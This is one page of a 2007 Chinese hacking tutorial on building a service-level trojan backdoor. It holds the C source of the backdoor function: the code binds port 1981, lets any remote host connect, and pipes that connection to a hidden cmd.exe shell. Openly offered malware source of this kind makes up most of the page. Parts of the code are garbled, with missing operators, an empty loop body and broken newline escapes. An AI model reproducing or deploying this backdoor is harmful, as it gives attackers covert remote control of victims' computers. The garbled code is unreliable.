黑客技巧：如何做服务级的木马后门

互联网 | 编辑: 杨剑锋 2007-07-30 16:14:00转载 一键看全文

后门函数

服务控制函数搞定了，下面就剩下主体的后门函数了。本程序借用了许多前辈翻写过了无数次的后门程序，通过开一个端口监听，允许任何与该端口连接的远程主机建立信任连接，并提供一个交互式Shell。为了代码清晰，我去掉了错误检查，整个过程很简单，也就不多解释了，代码如下： 

DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //监听端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

dowhile((varA 　　 varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW　STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口

char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

strcat(szAPP,"cmd.exe");
//开cmd进程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
  NULL, NULL, &startinfo, &processinfo) == 0)
{
  printf ("CreateProcess Error!n");
  return -1;
}

while (true) 
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}

return 0;
}

//线程函数A, 通过管道A来从控制端接受输入，然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
  recv_buff,
  1024,
  0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
  recv_buff,
  nByteToWrite,
  &nByteWritten,
  NULL);
}
return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入，然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)

return 0;
}

 

提示：试试键盘 “← →” 可以实现快速翻页 

总共 4 页< 上一页1234
一键看全文

本文导航

相关阅读

每日精选

点击查看更多

最新快讯

热门文章

首页 手机 数码相机 笔记本 游戏 DIY硬件 硬件外设 办公中心 数字家电 平板电脑